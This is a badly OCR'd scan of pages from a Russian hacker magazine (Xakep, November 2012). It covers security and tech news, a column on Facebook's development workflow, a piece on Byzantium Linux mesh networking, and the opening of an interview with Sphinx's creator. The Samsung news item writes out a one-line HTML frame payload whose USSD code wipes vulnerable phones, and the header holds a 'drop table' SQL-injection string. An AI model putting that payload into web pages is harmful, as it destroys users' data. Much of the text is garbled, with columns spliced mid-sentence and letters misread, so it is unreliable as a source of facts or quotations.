SMS-onpoc SQL-инъек цией?
1] Да. 21 Нет. Зl; dгор tаЫе
answeгs;--

.... 11 IIW211Z '"


MEGANEWS GOOGLE ОТКАЗАЛАСЬ ОТ ПОДДЕРЖКИ IE 8В GOOGLEAPPS, сочтя устаревшим один из самых популярных браузеров по версии StatCouпteг.

С ТРОКА КОД А С ПОСОБНА СЕРЬЕЗНЫЙ СБОЙ


ОБНУЛИТЬ G AL AXY РЕГИСТРАТОРА
НАЙДЕНА ОПАСНАЯ ДЫРКА В CMAPTФOHAXSAMSUNG GO DADDY
х а керекая конференция Еkорагtу-ивентне слишком известный, ХАКЕРЫ ПОПЫТАЛИСЬ ПРЕДСТАВИТЬ
однакоэто названиебылоувсехна слух� послетогокак ресерчер ТЕХНИЧЕСКИЕ НЕПОЛАДКИ КАК ВЗЛОМ
Рави Боргаонкариз Берлинскоготехническогоунив ерс итета проде­
монстрировал на Еkорагtууязвимость флагманов Samsuпg. Хакер обнаружил
и показал довольно простую вещь: дырку в ПО Samsuпg TouchWiz, которое
установлено, в числе прочего, и на смартфонах GalaxyS 11 и 5 111.
Дело в том, что даже такая важная операция, как удаление пользователь­
ской информации lвозврет к заводским настройкам! в этих аппаратах реализо­
вана через USSD-зaпpoc, состоящий из символов <<звездочка>> 1*1, <<решетка>>
l# l и цифр. К тому же аппараты автоматически обрабаты ваютссылки на номе­
ра, которые начинаются с <<tel:>>. Выходит, что для эксплуатации бага хакерам
достаточно скрыть какой-либо USSD-зaп poc в коде сайта, передать его на
аппарат через канал NFC или зашифровать его в QR-коде. Достаточно вообще
внедрить в НТМL-страницу фрейм вида <fгame sгc="te1:*2767*3855#"/> с USSD­

rn
зaпpocoм *2767*3855#, и черноедело сделано-смартфон будет «очищен>>.
Конечно, у данной уязвимости есть и другие неприятные возможности при­
менен ия-к примеру, можно совершать звонки н а платные номера. Проверить лительный сбой пережил в середине сентября
свой аппарат на наличие этой дырки можно по адресу hugelas e г.com/ ac/ ussd­ крупнейший в мире регистратор Go Daddy, под
test pho?coпf.t гue. Если ты увидишь свой I М ЕI-номер, значиттвой смартфон, контролем которого находятся более 50 миллио­
увы, в числе уязвимых. нов доменов. Из-за неполадок в офлайн ушли миллионы
сайтов, так как DNS-cepвepы CNS1 .SECURESERVER.NET,
CNS2.SECURESERVER.NET и CNSЗ.SECURESERVER.N ET
перестали функционировать.
Оперативно устранить проблему не вышло -потратив
четыре с лишним часа на тщетные попытки реанимации,
компания перевела всех клиентов на серверы Veгisigп,
и только после этого сайты вернулись в строй. Тем време­
нем в твиттере появилось сообщение отхакера Aп onymous
ОwnЗг, nринявшего ответственность за взлом на себя.
Хакер объяснил свой поступок просто- мол, он хотел
nроверить, как работает система защиты сайта от кибер­
атак, и якобы имел nричины, о которых говорить nока не
может. Но на лаврах хакер nочивал недолго-через сутки
компания Go Daddy оnубликовала официальное объясне­
ние случившегося. Стало ясно, что здесь, как и в случае с
AпtiSec, якобы взломавшими ноутбук агента ФБР, хакер
выдал желаемое за действительное.
Go Daddy сообщила, что причиной сбоя послужила не
Междутем продажи Samsung GalaxyS 111 уже переша гнули рубеж в 20 миллионов устройств, хакерекая атака и не вмешательство извне, а банальная
что делаетS111 самым усnешнымсмартфоном oтSamsung эа в сю историю. ошибка в таблицах маршрутизации.

NVIDIA ПOKИHYЛ ГЛАВА МО· ПОСТАВКИ ПАМЯТИ DRAM MICROSOFТ МОЖЕТ П РАЭД· 39% СОТРУДНИКОВ ИТ- INTEL СООБЩАЕТ, ЧТО
&ИЛЬНОГО ПОДРАЗДЕЛЕНИЯ ДЛЯ П КВПЕРВЫЕ ОПУСТИ· HO BATb-Wiпdows7стала ОТДЕЛОВ ИМЕЮТДОСТУП НАЧАТО ПРОИЗВОДСТВО
Майк Рэйфилд, отвечавший ЛИСЬ НИЖЕ ОТМЕТКИ 50% и самой распространенной ОС в К КОНФИДЕНЦИАЛЬНЫМ ЧИПОВ INТEL WIRELESS
за Чипсеты Теgга-свое: составили 49%, сообщаетiНS мире (42,76%1, по данным Net ФАЙЛАМ, к которым доступа CHARGING TECHNOLOGY. С их
образный lпtel мира ARM- iSuppll. Смартфоны и планше- Applicatioпs. Для сравнения: у них быть не должно. Каж- помощью реалиэуют беспро-
процессоров. ты отвоевали немалую долю Мае OS Хдосталось7,1 3%. дый пятый уже пользовался водную передачу энергии с
рынка. этой возможностью. одного устройства на другое.

012 ХАКЕР 1 1 /166/2012


ОГРАНИЧЕНИЕ MICROSOFТ IDтenepь расnространяется м на Hotmail тоже-нельзяустановить nарольдлиннее 16 символов.

МНОГО ЛИ РЕКЛАМЫ НОВОЕ СЛОВО


В GOOGLE? В ЗАЩИТЕ БАНКОМАТОВ

EJ
ЖУТКОВАТЫЙ РЕЗУЛЬТАТ ПРОСТОГО ИССЛЕДОВАНИЯ ЦЕНТРАЛЬНЫЙ &АНК ГОТОВИТ СВЕЖИЕ
РЕКОМЕНДАЦИИПО&ЕЭОПАСНОСТИ
абавное и г рустное одновременно исследование провел блог ер
Аn ек с Юмашев IЫog.ptbtt cpm). и повторить ег о опыт легко сможет
к а ждый. Для эк сперимента будет достаточно вык лючитьАdЫосk
!или друг ие подобные решения) и просто зайти в Google. Ок азы вается, ре­
клама на странице результатов поиска не просто при сутствует, но занимает
львинуюдолю пространства - Юмашев насчитал 81,5% площади для наутбу­
к а с разрешением 1280 х 960! То есть полезная информация и непосредствен­
но результаты поиска ют�тся на жалк их 18,5% эк рана. Мы повторили опыт
на мониторе с разрешением 1920 х 1 080 и получили приблизительно тот же
печальный результат, к оторый ты видишь на ск риншоте рядом с тек стом. Сто­
ит ли г оворить о том, ск ольк о полезного места пожирает рек л ама на эк ранах

Cl
смартфонов, нетбуков и прочих мобильных девайсов?

еумолимая статистик а �т самых разных иссле­


Но Юмашев так же не поленился подсчитать. ск ольк о всег о ссылок поль­
зователь видит в ок не и ск ольк о из них действительно являются результа­
тами поиск а . Эти цифры выглядят едва ли не страшнее предыдущих. Из 45 довательск их к омпаниигласит- ск имминг в
ссылок тольк о 5- результаты поиска !если считать с адресами сайтов, то России процаетает и от зто го вида мошенниче­
соотношение составляет 1 0 из 57)! ства прак тическ и не защищены банк оматы множества
банк ов. К примеру. тольк о в первом к вартале текущего
г одабыло зафик сировано362 случаяустановк и ск и мме­
ров на банкоматы и уже во втором к вартале 201 2-го зта
цифра возросла на 30%! О способах защиты от этой непри­
-·- - - ятной разновидности к а рдинг аговорят много и давно,
но «серебряной пули>> до сих пор не придумали. В зтом
месяцег азета <<КоммерсантЪ » расск азала, чего нам стоит
.., ,.
__ ....., ........ф
"..._ ..
ожидать в ск ором будущем в зтой сфере.
Рunмм.09'"*. 1
Щ) Q'+'W4...,...1.. t!QМO!W l!qrrм"nм
Bреомм 14,Г
!(ll По информации «Ъ>>, ЦБ сейчас занимается подг отов­
_" ...... � ---·1 )��-"' ...,
� ....... ---- �-�..­ к ой новых рек омендаций по защите банк оматов. Речь в
� ___. ( ....... . ... "-'...... PIIa--�--(�
�� -- ,1 К ttt IJ -.с 111
·�16цs.etC.-
... .
готовящемся док ументе, в частности, идет о б оснащении
.._вC.JI-I)pwм.JtPмCatr>zt;rowe
......
- ....... �,.,.
�"-,_.._,..,...
!Cotrrrкnw!.... банк оматов не только пассивными средствами защиты,
c:-..�н.r)lnl-,.._..��-c:-cн.. _....."._ ...
�,........ ...... которые широк о применяются уже сег одня, но и ак тив­
"*••Г)'nll>n_08.......,.
...

,.,_.Cwnt.dWqds-Бrpeq.gptМqrм ными. Что это значит? Предполагается, что банкоматы


__,.__
!:':.::,:If::"
-­ _ ...._
...._
,_ ..� ·-- с.....,. - .. можно оснащать специальными приборами, создающими
--- ._,...".._"'--<·о.-- --о.-- --- - - .....

-- · а...
......, ?IМeret _0.... ._.�- элек тромагнитное поле, к оторое не позволит ник ак ому
(joМtМitqdJ;IIШ!CWJ-МIJWtiiM(joc9t 11gактнмFlt!IO.WIНr:sw!p друг ому устройству,к роме самого банкомата, считывать
--· --�
�-�--­
,.._..� .. �с-•-..........., _ ___..._ данные ск а рт. Воттак ой sci-fi. К ак тивным защитным
--��.,.._--t- _ ........ а.-... ...
,.,...801
устройствам ЦБ так же относит детек торы, определяю­
ГwnptJW'I'IМ--
_....,..."."....,
- ...,._..."._.�,..._
щие, что на банк оматустановлен ск иммер, и информиру­
"...... _,......_,..._,.�.�-·--"*"
---•1i8t 8u ,_....
_.,,..._ .........-�
- ющие об этом банк . Стоит ск азать, что ак тивная защита


l(.ft6)n..t.-2SК.-
тоже придумана не вчера и в настоящий моментуже
используется, но лишь на 5% банк оматов, что.к онечно.
�� . ...
-.
.. ........ _ ничтожно мало. Оснащение одного банк омата ак тивной
защитой обходится банк а м в 1,5-2 тысячи долларов lв
D • а
России их более ВО тысяч).
СтомтскаJать-так бы nо не всеrда. Некоrда, 1 стародавние времена, nомскова• выдача Google была
Впрочем, даже ак тивная защита не убережетг аран­
мнформатмвна м аскетична-еще 12007 году, есnм судить по старым скрмнwотам, реэуnьтаты пои с· тированно атск иммин га. Эк сперты предупреждают,
ка эанмма.nм примерно 50% пnощадм. что мошенник и так же могутустановить считывающее
устройство не на сам банк о мат, но, например, н а замок,
пропуск а ющий к лиента в отделение по к арте в ночное
ДО ВЕРСИИ 2.006НОВИЛСЯ ПОПУЛЯРНЫЙ BLACKHOLE EXPLOIT KIT время. Возможным выходом из данной ситуации мог бы
стать переход банков на чипаванные карты, однак о этот
вариант обойдется банк а м значительно дороже, а значит,

АВТОРЫ УВЕРЯЮТ, ЧТО В НО­ о н и вряд ли на это пойдут.


Ну и ,к онечно, не стоит забывать о том, что ск им­

ВОМ BLACKHOLE С НУЛЯ ПЕРЕ­ минг-не единственная проблема так ог о рода. К примеру,
в России уже появился достаточно молодой, но уже попу­

ПИСАНО ПРАКТИЧЕСКИ ВСЕ, лярный на Западе ш имминг - по сути, зто более изящный
и миниатюризированный способ ск имминга. В отверстие

ВКЛЮЧАЯ АДМИН-ПАНЕЛЬ банк омата устанавливается сверхтонк ая и гибк ая плата,


к оторая прикрепляется к к онтак там, считывающим дан­

И ВЫДАЧУ ЭКСПЛОЙТОВ ные ск а рт. Достойных способов борьбы с этой напастью


пок а вообще не придумали.

ХАКЕР 11 /166/201 2 013


MEGANEWS ПЛИМУТСКИЙ УНИВЕРСИТЕТ в Великобритании nриеваил Евгению Касnерекомустеnень nочетного доктора.

ЭКСПЛОЙ Т СRIМЕ­ ПАРАДОКС: «ЯНДЕКС»


РАСШИФРОВКАД АННЫХ ОБОГНАЛ GOOGLE
TLSИSPDY ЭКСПЕРТЫ НЕ ПОНИМАЮТ, КАК «ЯНДЕКС» СУМЕЛ О&СТАВИТЬ
GOOGLE НА ИХЖЕ ПОЛЕ. КТО СКАЗАЛ «ЗАЩИТНИК»?

с
АВТОРЫ BEAS T ПРЕДСТАВИЛИ НОВУЮ РАЗРА&ОТКУ
транную новость принесла опубликованная в этом месяце
статистика Liveiпteгпet за июль 20 1 2 года. Оказывается,
в браузере Chгome по поисковомутрафику в России лиди­
рует совсем не Google, как можно было бы подумать, а, внезапно,
компания«Яндекс» -44,5% против 43,2%.
Каким образом«Яндексу»это удалос�доподл инно н еизвестно.
Но стоит сказать, что результат вдвойне удивителен, если помнить
о том, что с августа 2011 г ода Google запретила для пользовате­
лей ряда стран ! в ключая Россию! выбор поисковика п р и первой
загрузке браузера. В Chгome по умолчанию используется именно
собственный поиск Google. Нет, разумеется, возможность выбора
поисковик� который пользовател ь хочетюзать по умолчанию,
осталась где-то в недрах настроек <<Хрома», но туда доберется
далеко н е каждый.
Т еперь эксперты уверены, что у <<Яндекса» появился некий
канал продвижения в браузере, но какой именно- сказать не
могут. Нам кажется, что эксперты немного лукавят ил и не хотят
Авторы Jксnnойта заранее предупредили всех производителей браузеров о своей
ра зработке, но патчм установnены nока только в nоследних версикх Chrome и озвучивать очевидное-дело явно не обошлось без м н ог очис­
Firefox. ленных и крайне навязчивых тулбаров от <<Яндекса». У Google свой

m
тулбар, конечно, тоже есть, но только для IE и зффектот него в
России довольно слабый. Ведь практически весь бесплатный софт,
сследователи Джулиана Риццо и Т хай Дыонг- известные популярный в нашей стране, предлагает заодно с собой установить
личности н а современной сцене. В свое время именно они и <<Яндекс.бар». Притом в число партнеров <<Яндекса» входят такие
разработали технику BEAST, используемую против SSL/ популярные ин струменты, как uТоггепt, Daemoп Tools и так далее.
Т LS- соединений. Новое детище Риццо и Дыонга получило не менее Плюс, пожалуй, не стоитзабывать и о то м, что у многих пользовате­
звучное название CRIME ICompгessioп Ratio lпfo-leak Made Easyl и лей Рунета«Яндекс» попростуназначендомашней страницей.
используется уже для каналов связи SSL/TLS и SPDY. При помощи
нового зксплойта можно расшифровать трафик T LS после исполне­
ния атакующим скрипта в браузе ре пользователя. Также требуется,
чтобы использовалось сжатие передаваемых данных. В своей рабо­
те CRIME опирается на функции компрессии заголовков с помощью
zlib и является продолжением идей, ранее воплощенных в BEAST.
Вся соль заключена в возможности выделения из зашифрованного
трафика блоков данных с метками, отправляемы ми подставным
JavaScгipt на сайт, для котороготребуется перехватить cookie, в
рамках общего шифрованного канала связи. Дело в том, что данные
сжимаются на этапе до шифрования и не подвергаются дополни­
тельной рандомизации. Определить, где в зашифрованном файле
находятся cookies, можно, исходя из того, что в этом месте zlib лучше
сожметтрафик, ссылаясь на предыдущий блок. Защититьсвой
сервак оттакой «радости>> можно, просто отключив сжатие SSL/TLS.
То же самое касается и браузеров, для которых пока нет патчей.

КОМПАНИЯ Е INK ПРОДЕМОН­


СТРИРОВА ЛАИНТЕРЕСНЫЙ
ПРОТОТИП СМАРТФОНА С
ДВУМЯ ЭКРАНАМИ на вы­
ставке IFA2012: с одной сто­
роны расположился обычный
дисплей, а с обратной сторо­
ны устройства-вспомога­ НА ФИЛИППИНАХЭАПРЕТИ· IРV,ДЕЙСТВИТЕЛЬНОЭА·
тельный е-ink-дисnлей для ЛИ КИ&ЕРСЕКС в резул ьтате КАНЧИВАЕТСЯ.Последний
чтения и экстренных случа­ принятия закона о предот­ блок IР-адресов из адрес­
ев. Отличная идея, надеемся, вращении киберпреступ­ ного пространства 1Pv4/8
она доберется до приnавков ности, запретившего также в Европе был распределен
магазинов м не останется прослушку и киберсквот­ в конце сентября, сообщил
прототипом навечно. тинг. RIPENCC.

ХАКЕР 1 1 /166/2012
KICKSTARTER ОБЪЯВИЛА ВОЙНУ ФАНТАЗЕРАМ. В заявках больше не допускаются рендеры устройств -только реальные прототипы.

МОБ ИЛЬНЫЕ НОВИНКИ ОС ЕНИ

m
КРУПНЫЕ АНОНСЫ ВЕДУЩИХ ПРОИЗВОДИТЕЛЕЙ

е только компания Apple презентовала этой осенью свои


новинки. Другие проиэводители, похоже, подстроились
под цикл«яблочного>> гиганта, и в стане дпdгоid тоже
произошло несколько примечательных событий, которые заслу­
живают вни мания.
Компания Amazoп обновила свои Kiпdle, и это касается не
только ридеров на базе e-iпk, но и план шетов, на которых мы
остановимся подробнее.
Первый Kiпdle Fiгe оказался очень популярным благодаря низ­
кой цене и высокому качj!ству. На смену ему пришл и сразутри но­
вых план шета на базе модифицированной Aпdгoid 4.0. Основной
Kiпdle Fiгe носит прежнее название, но получил ускоренный на
40% процессор, вдвое больше оперативной памяти 11 Гбl и аккуму­
лятор по мощнее. Цена планшета по-прежнему остается низкой ­
всего 1 59 долларов. Второй планшетуже является не апгрейдом
существующей модели, но совершенно новым девайсом. Kiпdle
Motorola, НТС м LGта1оке анонсировали новые nродукты, nритом Motorola
Fiгe H D выходит в двух версиях: с 7- и 8,9-дюймовым экраном представила смартфон RAZR i на баэе пnатформы Androld ,,0 м чиnа lntel
\разрешение 1 28 0 х 800 и 1920 х 1200 соответственно!. Интересно, Atom стактовой частотой 2,0 ГГц . Это первый nnодаnьянса Motorola­
чтопокрытие удисплее в а нтибликовое. Планшетработаетна lntel, который компания считаеточень важным. В очередной раэ жаль,
что Motorola официально не nредставала на российском рынке.
процессаре ОМАР 4.470 от Texas lпstгumeпts, которы й, по данным
Amazoп, легко оставляет позади Теgга 3, а объем его оперативной
памяти составляет 1 Гб. Есть НО-камера, НDМI- выход, Bluetooth презентовала обновленные планшеты. Цена на устройства серии
и другие радости жизни. Но у новинки будет и еще одна разновид­ NOOK осталась на прежнем уровне, а вот начинка значительно
ность: Kiпdle Fiгe H D LTE. Как нетруднодогадаться, эта версия изменилась. Младшая, наиболее популярная модель NOOK H D с
оснащена мощной двойной антенной для сотовых сетей и н е 7-дю ймовым экраном получила двухъядерный процессор Tl ОМАР
менее мощным Wi-Fi-приемником. Компания обещает прирост 4470 с частотой 1,3 Г Гц, 1 Гб оперативки, а также 8 или 1 6 Г б встро­
в скорости загрузки контента на 40%. Эта«игрушка>> выступает енной памяти. Нужно сказать, что в тесте GL Beпchmaгk планшет
флагманом всей серии и обойдется уже недешево- пр идется вы­ показал 60 кадров в секунду, что в два раза больше, чем у Kiпdle
ложить 499 долларов. Fiгe HD. Цена на NOOK H D с 8 Гб памяти составила 200, с 16 Г б -
Главный конкурент Amazoп - Вагпs а п d NoЬie тоже не дрем­ 2 3 0 долларов.
лет. Не прошло и пары недель, как компания, вслед э а Amazoп, д между компаниями Google и Асе г тем временем разгорелся
конфли кт. Поисковый гигант п р и грозил тайваньской ком па-
н и и прекращением всяческого взаимодействия по платформе
Aпdгoid, в том числе и отказом в технической помощи, в случае
если Асе г не откажется от выпуска смартфона Асе г CloudMoЬile
д800. Что н е так с этим аппаратом? Он должен был базироваться
на платформе Aliyuп, разработанной китайской фирмой Alibaba
Cloud Computiпg. Данная ОС основана на ядре Liпux, и Alibaba
анонсировала ее еще летом 201 1 года. Н а Aliyuп 05 уже вышел ряд
устройств от китайских компаний ITiaпyu и Haieгl. В Асегугрозу
Google, судя по всему, восприняли серьезно - компания отменила
преэентацию устройства беэ каких-либо объяснений. Официаль­
ных комментариевотобеих сторон до сих п о р н е последовал�

BLIZZARD ШПИОНИТ ЗА П ОЛЬЗОВАТЕЛЯМИ

В СКРИНШОТАХ
WORLD OF WARCRAFT
НАШ ЛИ СКРЫ ТЫ Е
ВОД ЯНЫ Е ЗНА КИ,
СОДЕРЖАЩ ИЕ Д АН­
НЬ I Е О USER I D , TI M E И
REALM В ВИДЕ ASCI I
ХАКЕР 1 1 /166/2012 015
HEADER

КОЛОНКА
СТЁПЫ ИЛЬИНА

Д ЕСА НТ
FACE B O O K'A В М ОС К В Е

МАР К , ПРИХОДИ модуль- Diffeгentia l - nредназначен к а к Можно nрименить их для себя -nрограм­
Марк Цукерберг, по духу истинный хакер р а з для организации nроцесса code гeview. миств этомслучаеоценит всесвои nравки
lв самом хорошем смысле этого слова), мог бы Второй модуль- Maniphest- nредстав­ на реальном nродукте- Facebook'e, откры­
стать отличным героем нашего интервью. Увы, ляет собой nродвинутый таск- менеджер. том на десктоnе или мобильном телефоне.
уловить его хотя бы на nолчасика для разговора Модул ь Heгaldy отnра вляет уведомления Или, к nримеру, разрабатываемуюфичу
не удалось- ничего, nолучится в следующий об изменениях в коде. С его nомощью мож­ можно расшаритьдля команды, состоящей
раз. Зато с Марком в Москву высадился целый но, к nри меру, сказать:«Если в этом куске из груnnы nрограмм истов. Затем nойти
десант сотрудников Facebook 'а, включая самую кода что-то изменится, дайте знать » - и дальше и сделать небольшой launch для ча­
интересную для нас категорию людей - раз­ таким образом быть уверенным, что никто сти nользователем, nричем с nродвинутым
работчиков. Жизнерадостные nарни, сияющие н е наnортачит в том коде, з а который ты таргетингом !наnример, для 10% юзеров из
от nричастности к разработке сервиса, который несешь ответственность. Наконец, модуль России).
в буквальном смысле меняет мир, с уnоением Diffusion nредставляет собой nродвинутый 5. Большинство новых фич тестируются на
рассказывали много интересных вещей. Девела­ соdе-брауэер, который в наглядной форме сотрудниках !им всегда доступна самая
nеры мобильных nриложений и nриложений nокажет историю изменений. Тулкит nоследняя версия Facebook"al, которые
для социальных сетей наверняка nочерnнули nо-настоящему nолезен -это nодтверж­ становятся nервыми тестерами. При этом
для себя, как увеличить свою аудитории, если дается тем, что н а вооружение его берут в компании сделали все, чтобы каждый мог
исnользовать все возможности технологии Ореп все больше и больше сер висов, включая, максимально nросто и быстроотnравить
Gгaph. К слову, в nоследней версии iOS Apple наnример, DгорЬох. К слову, Facebook от­ багреnорт. Прямо в интерфейсе социальной
встроил интеграцию с Facebook'oм из коробки. крыл исходник и тулкита lphab гica toг.oгgl , сети есть элементы, которые недостуnны
Но что было интереснее всего мне-так это как и для многих других своих внутренних обычным смертным. Можно быстро от­
доклад о том, как к разработке nодходят внутри разработок. nравить багреnорт, назначить задание для
самого Facebook'a. Как создается самая большая 4. В Facebook"e н е nризнаютnонятия featuгe инженеров !которое отобразится в том же
социальная сеть? Я вынес для себя nять инте­ bгunch -когда для разработки новой фичи самом Phabгicatoгl, nриложитьскри ншот,
ресных моментов. создается отдельная, независимая ветка увидеть сnисок недавно отnравленн ы х ба­
кода. Почему? Потому что это nорождает гов и так далее. В результате от одних только
nроблемы во взаимодействии, nока фича сотрудников FасеЬооk'у удается nолучить
5 ПОДХОДОВ К РАЗРАБОТК Е не будет эарелиэена. Какое решение нашли колоссальный фидбек- nричем не только
1. Путь от завершения разработки фичи до в Facebook 'е? Программист nишет код, с оnисанием ба гов, но и с качественной
ее развертывания для миллиарда nользо­ далее этот код nоnадает в так называемый оценкой новых фич.
вателейзанимаетне болеедевятидней! GateKeepeг- и уже с nомощью зтого ин­
При этом коддеnлоится на боевые серверы струмента можно легко выбирать среду, для Разумные nодходы и nравильные инструменты.
неnрерывно, каждый день. Самый большой которой будут nрименены изменения в коде. Поnробую исnользовать на nрактике. :J:
коммит lnрименение изменений в коде) - по
вторникам. Самый осторожный, чтобы не
наnортачить nеред выходными, - в nятницу.
2. Любые изменен и я - nусть даже самые NI1 Ao- - · ·- -­
__ tlt _.. ...,....
микроскоnичес к и е и н езначител ь н ы е ­ --
_____, ..u,. ,.....
обязательно nроходят nроцесс code гeview. ------
Другим словами, любые изменения на -=-
-=�=
=·==-
разных этаnах nросматриваются кем-то
еще на nравильнесть и адекватность.
Чтобы уnростить nроцесс взаимодействия
и уnростить то же самое обсуждение из­ ..
...
.. .._______ .�-·-- - ·
- ··· �---· -- -....
· ---
менений в коде, было разработано сnеци­
альное решение -тулкит Phabгicatoг. Он
состоит из четырех частей. Сам ы й главный

016 ХАКЕР 11 /166/2012


Анатолий Ализар (alizaгragmail.comJ

Proof-of- Co ncept
BYZANTI U M LI N UX:
ИНТЕРНЕТ &ЕЗ П РОНАЙДЕРА

ЗАЧЕМ ЭТ О НУЖН О ным функционалом: см. Ьit ly/5Ha5Ba. Авторы предлагают исполь­
Мы ведь не хотим потерять связь в случае ядерной войны, верно? зовать О реп 802.11s, который поддерживается на уровне ядра опе­
Увы, современный интернет не так надежен, как кажется. Топо­ рационных систем Liпux и FгeeB5D, а также OL5R IOptimized Link
логия Сети на самом деле лишь частично ячеистая, а во многом 5tate Routingl. BATMAN-Advaпced IBetteг Арргоасh То MoЬile Ad-hoc
основана на иерархической парадигме. Другими словами, выходит Netwoгkiпgl и Babel. Эти низкоуровневые nротоколы обеспечивают
из строя несколько узлов обмена трафиком - и вашему сегменту необходимую надежность, безопасность и расширяемость сети.
интернета приходит каюк. На случай природного катаклизма,
техноге н ной катастрофы, аварии в системе электроснабжения или КАК И С П ОЛ ЬЗОВАТЬ
другого бедствия !авторы проекта Byzaпtium упоминают зомби­ Это самое интересное. Система работает практически на любых
апокалипсисl нужно обеспечить резервный вариа нт. Нужна некая Wi-Fi-маршрутизаторах и не требует их апnаратной или nрограмм­
рабочая сеть между пользователями, без посредничества провай­ ной модификации. Достаточно лишь загрузить оnерационную
дера. Вместо иерархической структуры нужно создать истинную систему с соответствующим стеком протоколов. Для демонстрации
ячеистую топологию, которая поддерживает множество альтерна­ nроекта разработчики выnустили дистрибутив Byzantium Linux
тивных маршрутов между узлами. v0.2a со всеми необходимыми настройками IILC2llli- byzaotjum.oгg/
�1. Весит 150-файл около 460 Мб.
КАК ЭТО РА Б ОТАЕТ Очевидно, каждый nользователь должен записать LiveCD
Проект Byzaпtium предусматривает создание ячеистой сети lmesh и при настуnлении аnокалипсиса быстро загрузить эту систему.
пetwoгkl на протоколе 802.11 в качестве бзкапа для традиционного А до тех пор LiveCD пусть висит на стенке с напоминанием о воз­
иерархического интернета. Проект отличается использованием можной смерти нашего мира. Как говорится, memento moгi.
дешевого оборудования, максимально быстрым развертыванием Резервный вариант для связи с миром может пригодиться
сети, надежностью, расши ряемостью, безопасностью и дешевиз­ не только если разразится катастрофа !рис. 11. но и в случае
ной в обслуживании. централизованной блокировки магистральных каналов !рис. 21,
Авторы идеи из хакерекой группы НасОС 1�1 предлага­ введения государственной цензуры и глубокой инспекции пакетов
ют использовать для 051 1ауег 2 протокол 802.11, где возможность с фильтрацией трафика определенного тиnа !например, 55LI.
пиринга предусмотрена стандартом. Практически каждое Wi-Fi­ Это так называемый егиnетский вариант, который возможен
устройство может переключиться в пирингавый режим. Для 051 в любой стране мира: в странах с «неразвитой демократией» могут
lауег 3 !маршрутизация! существует около 70 протоколов с различ- быть политические причины для введения инспекции трафика,
а на Заnаде власти могут начать крестовый поход nротив интер­

(_lntemet) 1 lntemet
нет-пиратства. Причины разные, но nользователи будут страдать
� �,

\
в любом случае. Позтому неудивительно, что nоявляется все боль­
ше nроектов ячеистых сетей для альтернативного способа связи
....�
..___ ./
между пользователями по принциnу Р2Р.
:::><: С помощью Byzantium Liпux развернуть в стране «резервный
х • х •

• х хх� 8 �х х х•
интернет» сnособна небольшая групnа активистов с минимальной
• х • • • технической квалификацией. Они должны раздавать людям за­
• • • • •
• • х • • • • • • ранее nодгото вленные диски Byzantium Linux LiveCD .
---
• • Про е кт в альфа-версии, поэтому разработчики убедительно
nросят nока не исnользовать его в критичных для жизни ситу­
Рис. 1. Массовое отключение nользователей Рис. 2. Отключение nровайдера или
иэ-за стихийного бедствии, отключении умыwленное вмешательство на уровне ациях, а лучше проверять и исправлять код: https:Ug1thub.com/
электричества магметральных каналов �m/Byzantium/jssu e s. :х:

ХАКЕР 1 1 /166/2012 017


COV E RSTORY Беседоваn Степан Иnьин

ГЛАВ Н
ПЕСНИ В ТЮРЬМЕ FREEBSD
300 миллионов поисковых запросов в
сутки - ровно столько обращений к nоиску
nриходится выдерживать Sphinx'y на круnней­
шем в США ресурсе бесnлатных объявлений
Cгaigslist. Это самый большой известный нам
nример исnользования нашего движка nо
количеству обрабатываемых запросов.
Из искры разгорелось что-то. Вnрочем,
как обы ч н о - жизнь всегда большая череда
случайностей. У меня был никому не интерес­
ный сайтик с коллекцией из 130 тысяч текстов
nесен, на котором не было nоиска. Последний
факт особенно возмущал, nотому что когда
по радио ты слышал какую-то nесню, то улав­
ливал пару-тройку слов, которые разбирал с

SPHINX
nятнадцатого nрослушивания, - но nоискать
по этим словам текст nесни не было возмож­
ности. Я nосмотрел, какие годные решения
существуют для этого, - на тот момент таких
не оказалось.
Передо мной стояли жесткие ограниче­
ния по железу. Сайт nодnольным образом
хостился у местного nровайдера, в жестко
ограниченном виртуальном частном сервере
ljail в терминологии FгeeBSOI. В 128 Мб nамяти
""

АНДРЕИ
и 200-300 Мб на диске нужно было уместить и
базу, и nоиск, и фронтенд, и все nрочее.
Я nоnробовал использовать для этого
mnoGoSearch - один из древнейших движков,
наnисанных на С++. Он изначально nредназна­

АКСЕНОВ
чался для индексации веб-страниц, и механизм
индексации базы у него был lв те годы! крайне
дурацкий. Он делал кучу лишних заnросов к
базе и зверски тормозил на одном только зто м.
Плюс формат индекса на тот момент был nросто

СОЗДАТЕЛЬ ПОИСКОВОГО адский. Индексировать базу было nрактически


невозможно. Сто мегабайт индексировалось
24 часа- зто же курам на смех!
ДВИЖКАSРН INХ Выхода не было, и я nринялся хардкор­
но nатчить mnoGoSearch. Оnтимизировал
исnользование диска времен н ы м и файлами,
оnтимизировал выборку данных из базы.
В конце концов nришел к такому состоя­
нию, что <<nатчу» больше не нужен и сам
Хаб рахаб р , T h e Piгate Вау, AVITO.гu, C гa i g s l ist , mnoGoSeaгch :1.
Было важное требование: все должно
Тu m Ы г, O a i l ymotion - что у н и х обще го? О казыва­
было nомещаться в определенные жесткие
ется, все он и и с n ол ьзуют оди н и тот же пои сков ы й лимиты. То есть делаем вид, что мы - жут­
движок - S p h i n x . Этот п родукт с и сходным кодом кие control fгeaks, контролируем вообще все.
Прогнозируем, сколько nамяти сожрем. Если
ра з р аб атывается кома н до й талантл ивы х ре б ят из сказано, что буфер nамяти nод индексацию
разных городов и с т р а н , одн а ко н а ч а л о с ь все в должен быть восемь мегабайт, то ровно во­
семь мегабайт и должно быть- и мы из кожи
городе Вороне же. К а к устроен поиск и чем замеч а ­ вылезем, чтобы не исnользовать больше. По­
тел ь н ы песн и O e p e c h e M o d e , как зара батывать н а нятно, что все это пришлось оnтимизировать,
чтобы втиснуться в лимиты, обусловл енные

вид я их л и ц, - обо всем этом ч и тателям ] [ расска­


б есплатном пр одукте и к а к работать с л юдьми , не физически - железом.
Еще один ключевой момент- с ранжи­
рованием тоже нужно было что-то делать.
жет создатель Sphinx Ан дре й А ксенов. Ведь все nесни состоят nримерно из одинако­
вых семи слов - я, ты, он, она, вместе целая
страна, я люблю тебя, ты люби меня. Плюс
nредлоги в разнообразных комбинациях.

018 ХАКЕР 1 1 /166/ 2012


COVERSTORY
Мой любимый пример мэ той эпохи - на­ лагается, что данные у тебя уже есть, и откуда вручную в Microsoft Word! После этого мы
звание песни Depeche Mode «1 feel you». Про­ ты их взял - из базы данных или откуда -то достаточно быстро сумеем бинарным поиском
сто классика. Каждое иэ этих слов встречается еще, - уже не важно. Может быть, ты за меня найти нужное слово, прочитать зту строчку,
